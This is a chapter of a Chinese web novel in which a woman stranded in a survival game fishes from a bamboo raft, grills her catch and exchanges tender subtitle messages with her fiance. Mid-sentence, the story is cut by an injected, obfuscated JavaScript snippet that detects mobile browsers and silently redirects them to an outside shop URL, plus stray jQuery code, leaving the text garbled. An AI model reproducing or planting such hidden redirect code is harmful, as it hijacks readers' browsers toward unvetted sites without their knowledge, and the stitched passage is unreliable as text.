鱼竿忽然动了一下。
许观亦精神一振，握住鱼竿慢慢收线，鱼线那头传来轻微的挣扎，感觉不是大鱼。她耐心地一圈一圈地收，鱼线的末端慢慢露出水面，一条巴掌大的小鱼，银白色的鳞片在阳光下闪闪发光。鱼嘴被铁钩挂住了，它甩着尾巴拼命挣扎，水花溅了许观亦一脸。
“上鱼了！”许观亦把小鱼从钩上取下来，放进绑在竹筏侧面的河豚皮水袋里。鱼不大，但她看着它在袋子里游来游去的样子，心里涌起一种久违的满足感。
【什么鱼？】
“不认识，小的，巴掌大。能吃就行，不挑。”
【刚才还说愿者上钩，人家真上来了你倒不客气了。】
“我客气的呀，我这不是把它好好请进我专门准备的袋子里了嘛。”许观亦理直气壮。
她把鱼饵重新挂好，将鱼线甩进水里。然后换了个姿势靠在竹筏上，把脚伸进海水里泡着。清凉的海水没过脚踝，泡着被竹竿磨了好几天的脚底，舒服得她眯起了眼睛。
“时敬。”
【嗯？】
“我想把你拉到这筏子上，两个人一起躺着。”
【嗯。】
“你也把脚伸进海里，我们来踢水花，比谁踢得高。”
【你会输的。】
“我不会。”
【你每次都比不过我就耍赖。上次在马尔代夫踢水花，你说我的腿长不公平，后来就说好了男女混合双打不比水花高度。】
“你腿本来就长，这本来就是不公平的事。”许观亦理不直气也壮，“不过如果现在你能在我旁边，我倒是愿意让你赢一次。就一次。”
字幕停了非常短暂的一瞬。
【那我可记住了。你欠我一次。】
许观亦对着满天的阳光笑了。
不知不觉间，她已经钓了三条小鱼了。都是巴掌大小，银白色，挤在河豚皮袋子里游来游去，偶尔撞到袋子壁，发出啪嗒声。虽然个头不大，但三条加起来，煮一锅鱼汤绰绰有余了。
她把鱼竿收起来，重新拿起船桨，开始往回划。经过将近一个小时的练习，她已经基本掌握了划竹筏的技巧，左桨划三下，右桨划一下，掌握好力度，竹筏就会朝着她想要的方向走。虽然还是偶尔会打偏，但至少不会像刚下水那会儿全凭运气了。
竹筏缓缓靠向小岛。远处一棵墨绿色的树影开始变大，最后变成她的棕榈树和树屋，她忽然意识到自己在外头漂流了那么久，竟然下意识地把那棵树当作了家。
“到了。”她把竹筏拖上沙滩固定好，拎着三条小鱼跳了下来。
脚踏实地的那一瞬间，腿有些发软，在水面上待久了，身体还没适应陆地的平稳。她站在沙滩上缓了一会儿，低头看看地上那艘还滴着水的竹筏，又看看手里三条活蹦乱跳的小鱼，嘴角不自觉翘起来。
【心情很好？】
“嗯。特别好。”许观亦把鱼竿靠着棕榈树放好，开始处理小鱼，“今天是我进游戏以来最开心的一天。比拿到竹竿铁丝那天开心，比搭好树屋那天也开心。不是因为有鱼吃，是有一种……说不上来。好像什么都不用想，只要漂在水上就好。”
她想起父亲那句话，又补了一句：“也许是我好久没有像今天这样什么都不做了。”
【你以前也不爱什么都不做。你以前总说闲着是浪费生命。】
“那是以前。现在我觉得，能闲着也是本事。”许观亦把处理好的鱼串在竹签上架到火堆旁，看着火苗舔着鱼皮，发出滋滋响声。“以前在许家，每天都有做不完的事，学这个学那个，参加不完的宴会，见不完的人。就算没有安排，我妈也会给我安排。她觉得闲着就是不上进，就是对不起许家培养。可今天坐筏子上晒着太阳的时候，我忽然觉得那种‘上进’才是一种浪费。浪费了好多可以用来晒着太阳、什么都不想的下午。”
【你现在确实变了。】
“变好了还是变坏了？”
【变好了。以前的你虽然看起来温和，但其实随时都在绷着。现在松弛多了。】
许观亦想了想，好像确实是这样的。进游戏之前，她是许家大小姐，是陆时敬的未婚妻，是所有人眼里的名门闺秀。每一个身份都是一副镣铐，她要在别人面前表现得端庄得体，在长辈面前表现得懂事孝顺，在陆时敬面前表现得——不，在他面前她倒是从来没绷过。但那时候陆时敬也是忙的，两个人在一起的时间少得可怜，见一面都要提前一个礼拜排日程。
现在呢？现在他们随时都能说话。虽然隔着一个游戏的距离，但他就在那个面板后面，随时随地都在。
“那是因为有你在。”她轻声道，“如果没有字幕，没有你，我一个人在这个岛上，可能早就疯了。”
【那我得再接再厉。】
“再接再厉什么？再接再厉多熬几个夜帮我查资料？”
【……这个话题能不能翻篇了。】
“不能。”许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808858|210380||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
观亦笑着翻了一下鱼串，鱼皮已经被烤得金黄酥脆，油脂滴在炭上发出细响，“我发现你这个人，自从有了这个字幕功能之后，每次我发火你就装死，每次我感动你就得意。你以前不这样的，你以前在我面前可乖了。”
【那是装的。】
“我知道是装的。但是你现在连装都不装了。”
【因为现在你不知道我耳朵红了。】
许观亦笑出了声，不小心手一抖，差点把鱼串掉进火堆里。
她把烤鱼分了分，今天的晚餐比昨晚的棕榈果汤实在多了。三条烤小鱼，虽然不大，但肉质细嫩，在火上烤得恰到好处，咬一口满嘴焦香。她一边吃一边喝蒸馏水，吃到最后，她连鱼尾巴都嚼碎了咽下去。
吃完饭后，她把剩余的蒸馏水小心地存好，又将竹筏检查了一遍，有几处铁丝在拖行时稍微松了，她重新拧紧。火堆添了几根柴，竹筒防火槽里的火种安稳地闪烁微光。
天色慢慢暗下来了。夕阳沉到海平面以下，天边从橘红色过渡到深紫色最后沉入墨蓝。星星一颗一颗地亮起来，比台风前更密更亮，好像那场大风把天上蒙着的灰尘也刮走了。许观亦爬上树屋坐在窗边，把窗户推开，让夜风吹进来。
她晃荡着腿看着夜色中的大海。那个竹筏就安静地躺在下面的沙滩上，被月光照着，竹面反射出银白色的光。白天她在那上面笑着闹着当姜太公，此刻远远看着它，它倒真的有几分像姜太公的钓台——安静、朴素，却承载了一个人在海上漂着的全部底气。
“时敬，明天我想用竹筏去探探附近的海域。不跑远，就在周边看一看。说不定能找到新的资源。”
【可以。但你别跑太远了，看不清岛的时候就要回头。】
“知道了。”许观亦看着窗外的星星，声音放得很轻，“谢谢你。不只是谢谢竹筏，谢谢你今天让我把这段日子当成度假。谢谢你的每一个‘嗯’和‘好’。谢谢你一直在。”
字幕跳出来得很慢：
【那我谢谢你活着。】
许观亦把这句话在心里读了几遍，然后对着星空笑了一下。
竹筏在月光下安静地卧着，明天她还要让它带她去更远的地方。她闭上眼，把这句话放进自己的心里最深最软的地方，像放进竹筒防火槽的火种一样，小心地保护着，不让任何一阵风吹灭。
明天的事明天再说吧。今天她有一艘竹筏，三条烤鱼，和一句来自另一个世界的、比什么都重的话。